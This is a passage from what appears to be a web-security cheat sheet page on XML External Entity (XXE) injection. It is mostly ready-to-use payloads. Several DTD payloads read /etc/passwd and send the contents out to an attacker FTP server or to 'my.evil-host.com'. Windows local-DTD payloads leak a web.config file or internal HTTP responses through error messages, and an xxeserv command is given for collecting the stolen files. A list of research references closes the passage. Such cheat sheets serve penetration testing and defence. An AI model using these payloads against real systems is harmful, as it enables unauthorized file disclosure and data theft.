<div class="highlight"><pre><span></span><code><a id="__codelineno-45-1" name="__codelineno-45-1" href="#__codelineno-45-1"></a><span class="cp"><!ENTITY % d SYSTEM "file:///etc/passwd"></span>
|
||
<a id="__codelineno-45-2" name="__codelineno-45-2" href="#__codelineno-45-2"></a><span class="cp"><!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'></span>"><span class="w"> </span>
|
||
</code></pre></div>
|
||
<p>Serve DTD and receive FTP payload using <a href="https://github.com/staaldraad/xxeserv">xxeserv</a>:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-46-1" name="__codelineno-46-1" href="#__codelineno-46-1"></a>$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
|
||
</code></pre></div>
|
||
<h3 id="xxe-inside-dtd-file">XXE inside DTD file</h3>
|
||
<p>Most XXE payloads detailed above require control over both the DTD or <code>DOCTYPE</code> block as well as the <code>xml</code> file.
|
||
In rare situations, you may only control the DTD file and won't be able to modify the <code>xml</code> file. For example, a MITM.
|
||
When all you control is the DTD file, and you do not control the <code>xml</code> file, XXE may still be possible with this payload.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-47-1" name="__codelineno-47-1" href="#__codelineno-47-1"></a><span class="cm"><!-- Load the contents of a sensitive file into a variable --></span>
|
||
<a id="__codelineno-47-2" name="__codelineno-47-2" href="#__codelineno-47-2"></a><span class="cp"><!ENTITY % payload SYSTEM "file:///etc/passwd"></span>
|
||
<a id="__codelineno-47-3" name="__codelineno-47-3" href="#__codelineno-47-3"></a><span class="cm"><!-- Use that variable to construct an HTTP get request with the file contents in the URL --></span>
|
||
<a id="__codelineno-47-4" name="__codelineno-47-4" href="#__codelineno-47-4"></a><span class="cp"><!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;"></span>'>
|
||
<a id="__codelineno-47-5" name="__codelineno-47-5" href="#__codelineno-47-5"></a>%param1;
|
||
<a id="__codelineno-47-6" name="__codelineno-47-6" href="#__codelineno-47-6"></a>%external;
|
||
</code></pre></div>
|
||
<h2 id="windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents">Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents</h2>
|
||
<p>From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79</p>
|
||
<h3 id="disclose-local-file">Disclose local file</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-48-1" name="__codelineno-48-1" href="#__codelineno-48-1"></a><span class="cp"><!DOCTYPE doc [</span>
|
||
<a id="__codelineno-48-2" name="__codelineno-48-2" href="#__codelineno-48-2"></a><span class="cp"> <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"></span>
|
||
<a id="__codelineno-48-3" name="__codelineno-48-3" href="#__codelineno-48-3"></a><span class="w"> </span><span class="cp"><!ENTITY % SuperClass '></span>
|
||
<a id="__codelineno-48-4" name="__codelineno-48-4" href="#__codelineno-48-4"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config"></span>
|
||
<a id="__codelineno-48-5" name="__codelineno-48-5" href="#__codelineno-48-5"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;></span>">
|
||
<a id="__codelineno-48-6" name="__codelineno-48-6" href="#__codelineno-48-6"></a><span class="w"> </span><span class="ni">&#x25;</span>eval;
|
||
<a id="__codelineno-48-7" name="__codelineno-48-7" href="#__codelineno-48-7"></a><span class="w"> </span><span class="ni">&#x25;</span>error;
|
||
<a id="__codelineno-48-8" name="__codelineno-48-8" href="#__codelineno-48-8"></a><span class="w"> </span><span class="cp"><!ENTITY test "test"'</span>
|
||
<a id="__codelineno-48-9" name="__codelineno-48-9" href="#__codelineno-48-9"></a><span class="cp"> ></span>
|
||
<a id="__codelineno-48-10" name="__codelineno-48-10" href="#__codelineno-48-10"></a><span class="w"> </span>%local_dtd;
|
||
<a id="__codelineno-48-11" name="__codelineno-48-11" href="#__codelineno-48-11"></a><span class="w"> </span>]><span class="nt"><xxx></span>cacat<span class="nt"></xxx></span>
|
||
</code></pre></div>
|
||
<h3 id="disclose-http-response">Disclose HTTP Response:</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-49-1" name="__codelineno-49-1" href="#__codelineno-49-1"></a><span class="cp"><!DOCTYPE doc [</span>
|
||
<a id="__codelineno-49-2" name="__codelineno-49-2" href="#__codelineno-49-2"></a><span class="cp"> <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"></span>
|
||
<a id="__codelineno-49-3" name="__codelineno-49-3" href="#__codelineno-49-3"></a><span class="w"> </span><span class="cp"><!ENTITY % SuperClass '></span>
|
||
<a id="__codelineno-49-4" name="__codelineno-49-4" href="#__codelineno-49-4"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; file SYSTEM "https://erp.company.com"></span>
|
||
<a id="__codelineno-49-5" name="__codelineno-49-5" href="#__codelineno-49-5"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;></span>">
|
||
<a id="__codelineno-49-6" name="__codelineno-49-6" href="#__codelineno-49-6"></a><span class="w"> </span><span class="ni">&#x25;</span>eval;
|
||
<a id="__codelineno-49-7" name="__codelineno-49-7" href="#__codelineno-49-7"></a><span class="w"> </span><span class="ni">&#x25;</span>error;
|
||
<a id="__codelineno-49-8" name="__codelineno-49-8" href="#__codelineno-49-8"></a><span class="w"> </span><span class="cp"><!ENTITY test "test"'</span>
|
||
<a id="__codelineno-49-9" name="__codelineno-49-9" href="#__codelineno-49-9"></a><span class="cp"> ></span>
|
||
<a id="__codelineno-49-10" name="__codelineno-49-10" href="#__codelineno-49-10"></a><span class="w"> </span>%local_dtd;
|
||
<a id="__codelineno-49-11" name="__codelineno-49-11" href="#__codelineno-49-11"></a><span class="w"> </span>]><span class="nt"><xxx></span>cacat<span class="nt"></xxx></span>
|
||
</code></pre></div>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing - OWASP</a></li>
|
||
<li><a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html">XML External Entity Prevention Cheat Sheet</a></li>
|
||
<li><a href="http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html">Detecting and exploiting XXE in SAML Interfaces</a> - 6. Nov. 2014 - Von Christian Mainka</li>
|
||
<li><a href="https://gist.github.com/staaldraad/01415b990939494879b4">[Gist] staaldraad - XXE payloads</a></li>
|
||
<li><a href="https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870">[Gist] mgeeky - XML attacks</a></li>
|
||
<li><a href="https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf">Exploiting xxe in file upload functionality - BLACKHAT WEBCAST - 11/19/15 - Will Vandevanter - @<em>will_is</em></a></li>
|
||
<li><a href="http://en.hackdig.com/08/28075.htm">XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)</a></li>
|
||
<li><a href="https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/">From blind XXE to root-level file read access - December 12, 2018 by Pieter Hiele</a></li>
|
||
<li><a href="https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/">How we got read access on Google’s production servers</a> April 11, 2014 by detectify</li>
|
||
<li><a href="http://nerdint.blogspot.hk/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html">Blind OOB XXE At UBER 26+ Domains Hacked</a> August 05, 2016 by Raghav Bisht</li>
|
||
<li><a href="https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf">OOB XXE through SAML</a> by Sean Melia @seanmeals</li>
|
||
<li><a href="https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html">XXE in Uber to read local files</a> 01/2017</li>
|
||
<li><a href="https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/">XXE inside SVG</a> JUNE 22, 2016 by YEO QUAN YANG</li>
|
||
<li><a href="https://phonexicum.github.io/infosec/xxe.html">Pentest XXE - @phonexicum</a></li>
|
||
<li><a href="https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/">Exploiting XXE with local DTD files</a> - 12/12/2018 - Arseniy Sharoglazov</li>
|
||
<li><a href="https://portswigger.net/web-security/xxe">Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd</a></li>
|
||
<li><a href="https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation">Automating local DTD discovery for XXE exploitation</a> - July 16 2019 by Philippe Arteau</li>
|
||
<li><a href="https://www.4armed.com/blog/exploiting-xxe-with-excel/">EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN</a></li>
|
||
<li><a href="https://github.com/jmcnamara/excel-reader-xlsx/issues/10">excel-reader-xlsx #10</a></li>
|
||
<li><a href="https://jbz.team/midnightsunctfquals2019/Rubenscube">Midnight Sun CTF 2019 Quals - Rubenscube</a></li>
|
||
<li><a href="https://www.synack.com/blog/a-deep-dive-into-xxe-injection/">SynAck - A Deep Dive into XXE Injection</a> - 22 July 2019 - Trenton Gordon</li>
|
||
<li><a href="https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf">Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server</a> - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK</li>
|
||
<li><a href="https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf">XXE: How to become a Jedi</a> - Zeronights 2017 - Yaroslav Babin</li>
|
||
<li><a href="https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/">Payloads for Cisco and Citrix - Arseniy Sharoglazov</a></li>
|
||
<li><a href="https://infosecwriteups.com/data-exfiltration-using-xxe-on-a-hardened-server-ef3a3e5893ac">Data exfiltration using XXE on a hardened server - Ritik Singh - Jan 29, 2022</a></li>
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<aside class="md-source-file">
|
||
|
||
|
||
<span class="md-source-file__fact">
|
||
<span class="md-icon" title="Last update">
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1-2.1-2M12.5 7v5.2l4 2.4-1 1L11 13V7h1.5M11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2v1.8Z"/></svg>
|
||
</span>
|
||
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 18, 2023</span>
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
</aside>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
</article>
|
||
</div>
|
||
|
||
|
||
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
|
||
</div>
|
||
|
||
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8v12Z"/></svg>
|
||
Back to top
|
||
</button>
|
||
|
||
</main>
|
||
|
||
<footer class="md-footer">
|
||
|
||
<div class="md-footer-meta md-typeset">
|
||
<div class="md-footer-meta__inner md-grid">
|
||
<div class="md-copyright">
|
||
|
||
|
||
Made with
|
||
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
|
||
Material for MkDocs
|
||
</a>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</footer>
|
||
|
||
</div>
|
||
<div class="md-dialog" data-md-component="dialog">
|
||
<div class="md-dialog__inner md-typeset"></div>
|
||
</div>
|
||
|
||
|
||
<script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "navigation.tracking", "navigation.top"], "search": "../assets/javascripts/workers/search.b8dbb3d2.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
|
||
|
||
|
||
<script src="../assets/javascripts/bundle.bd41221c.min.js"></script>
|
||
|
||
|
||
</body>
|
||
</html> |